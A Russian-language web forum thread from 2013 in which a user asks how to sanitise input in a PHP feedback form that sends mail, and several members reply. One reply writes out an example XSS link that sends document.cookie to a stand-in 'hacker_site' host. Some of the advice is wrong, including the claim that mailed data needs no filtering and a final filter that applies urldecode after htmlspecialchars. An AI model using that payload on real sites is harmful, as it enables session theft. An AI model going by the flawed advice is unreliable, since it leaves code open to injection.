Нужно ли как-то обрабатывать данные в форме обратной связи?

Тема в разделе "Как сделать...", создана пользователем verfaa, 5 фев 2013.

  1. verfaa

    verfaa

    Регистр.:
    29 янв 2007
    Сообщения:
    375
    Симпатии:
    41
    Здравствуйте!
    Просматривал код формы обратной связи на своём сайте и задался вопросом, а нужно ли обрабатывать данные пришедшие от пользователя, если они не пишутся в БД?

    Вот например есть форма обратной связи, юзер пишет в неё свои данные, а ajax-обработчик их принимает и отправляет их через функцию mail() на мой GMail
    Код выглядит так:

    Код:
    if( isset($_POST['message']) ) {
     
        $mailMessage = $_POST['message'];
     
     
     
        if( isset($_POST['subject']) ) {
     
        $subject = $_POST['subject'];
     
        $mailSubject = $mailSubjectHead.$subject;
     
        }
     
     
     
        $header="From: ".$fromAddress."\nReply-To: ".$fromAddress."\nContent-Type: text/html; charset=utf-8"."\n";
     
     
     
        if( mail ($toAddress, $mailSubject, $mailMessage, $header) )
     
            echo 1 ;
     
        else
     
            echo 0 ;
     
    }
    
    Нужно ли пользовательские данные обрабатывать в случае отправки их через ф-ю mail()? И если да, то каким образом это сделать лучше всего?
    Безопасен ли мой код обратной связи или в нем есть какие-то уязвимости?

    Попробовал для своего спокойствия обрабатывать $_POST['subject'] функцией mysql_real_escape_string - в результате такой обработки сообщение вообще приходит пустым (письмо приходит, но без сообщения). А если её убрать, то сообщение доходит нормально. Почему так?
     
  2. SocMaster

    SocMaster aka Hakerok

    Регистр.:
    26 июл 2011
    Сообщения:
    202
    Симпатии:
    47
    Ну наверное потому что БД не используется, зачем использовать mysql_real_escape_string ?
    Есть же спец функции для проверки данных помню intval
     
  3. ВладимирТрой

    ВладимирТрой Постоялец

    Регистр.:
    29 янв 2013
    Сообщения:
    53
    Симпатии:
    19
    пользовательские данные нужно обрабатывать всегда, для строк смотри в сторону addslashes и htmlentities
     
    verfaa и ipbfan2008 нравится это.
  4. unkn0wn

    unkn0wn

    Регистр.:
    22 дек 2006
    Сообщения:
    163
    Симпатии:
    86
    Надо обязательно почистить от html-тэгов тему и сообщение через strip_tags и htmlentities, иначе можно получить xss в свой личный ящик. Больше ничего делать с мессаджами не надо.
     
  5. recasher2k12

    recasher2k12

    Регистр.:
    19 фев 2012
    Сообщения:
    156
    Симпатии:
    78
    Выдрал из боевого скрипта.
    Также, я использую прямую вставку значений из $_POST в mysql, поэтому защитился и от xss via mysql.
    Переменная $db - это хэндлер соединения полученного в результате работы функции mysql_connect().
    Далее также обращаешься к $_POST как и до вставки предложенных ниже строчек кода.
    PHP:
            /* [!] Stop XSS */
            
    foreach ($_POST as $i => $val)
                
    $_POST[$i] = mysql_real_escape_string(htmlspecialchars($val), $db);
    Для работы без БД хватило бы такого. Ни одна xss не пройдет!:
    PHP:
            /* [!] Stop XSS */
            
    foreach ($_POST as $i => $val)
                
    $_POST[$i] = htmlspecialchars($val);
     
    verfaa нравится это.
  6. unkn0wn

    unkn0wn

    Регистр.:
    22 дек 2006
    Сообщения:
    163
    Симпатии:
    86
    verfaa нравится это.
  7. unknown34

    unknown34 Создатель

    Регистр.:
    8 сен 2008
    Сообщения:
    19
    Симпатии:
    2
    mysql_real_escape_string очевидно из названия используется для работы с сервером mysql. для других целей - другие ф-ции. в вашем случае вполне подойдет htmlspecialchars
     
  8. one_man

    one_man Постоялец

    Регистр.:
    13 май 2009
    Сообщения:
    55
    Симпатии:
    12
    ИМХО, фильтровать цифровые данные из формы вообще смысла нет через функции достаточно умножить на один и всё. Например: $_POST["val"] = 123.5; $a = $_POST["val"]*1. И теперь переменную $a можно отравлять хоть в бд хоть на почту. А вообще отправляемые по почте данные не обязательно фильтровать по одной простой причине. Они в любом случае сохраняются в базу данных сервера почтовика, а там, естественно, стоит собственная фильтрация. Так что, любая обработка данных с целью защиты будет лишь дополнительной нагрузкой на собственный хостинг из-за применения лишних функций.
     
  9. unkn0wn

    unkn0wn

    Регистр.:
    22 дек 2006
    Сообщения:
    163
    Симпатии:
    86
    В каком месте в первом посте вы увидели цифровые данные и сохранение в БД? И для чего тогда придумана функция mysql_real_escape_string, если у MySQL есть собственная фильтрация? Оно, конечно, есть в PDO, но это опять же фильтрация на уровне языка, а не БД. Да и очистка умножением - у PHP есть приведение типов через (int)$var. А очищать данные надо всегда, если вы не хотите получить по почте ссылочку вида <a href="http://site" onclick="javascript:window.open("http://hacker_site/sniffer.jpg"+document.cookie)"
     
    verfaa нравится это.
  10. verfaa

    verfaa

    Регистр.:
    29 янв 2007
    Сообщения:
    375
    Симпатии:
    41
    В итоге поставил на сайт такую фильтрацию:
    В самом начале файла common.php (он подключается абсолютно ко всем страницам сайта) ф-ю stream_wrapper_unregister
    Код:
    stream_wrapper_unregister();
    В скриптах, где юзеры отсылают письма ко мне на ящик или на другие email фильтрую так:
    Код:
            /* [!] Stop XSS */
            foreach ($_POST as $i => $val)
                $_POST[$i] = urldecode(htmlspecialchars($val));
    
    И кстати, какую функцию все же использовать htmlspecialchars или htmlentities ? На сайте кодировка utf-8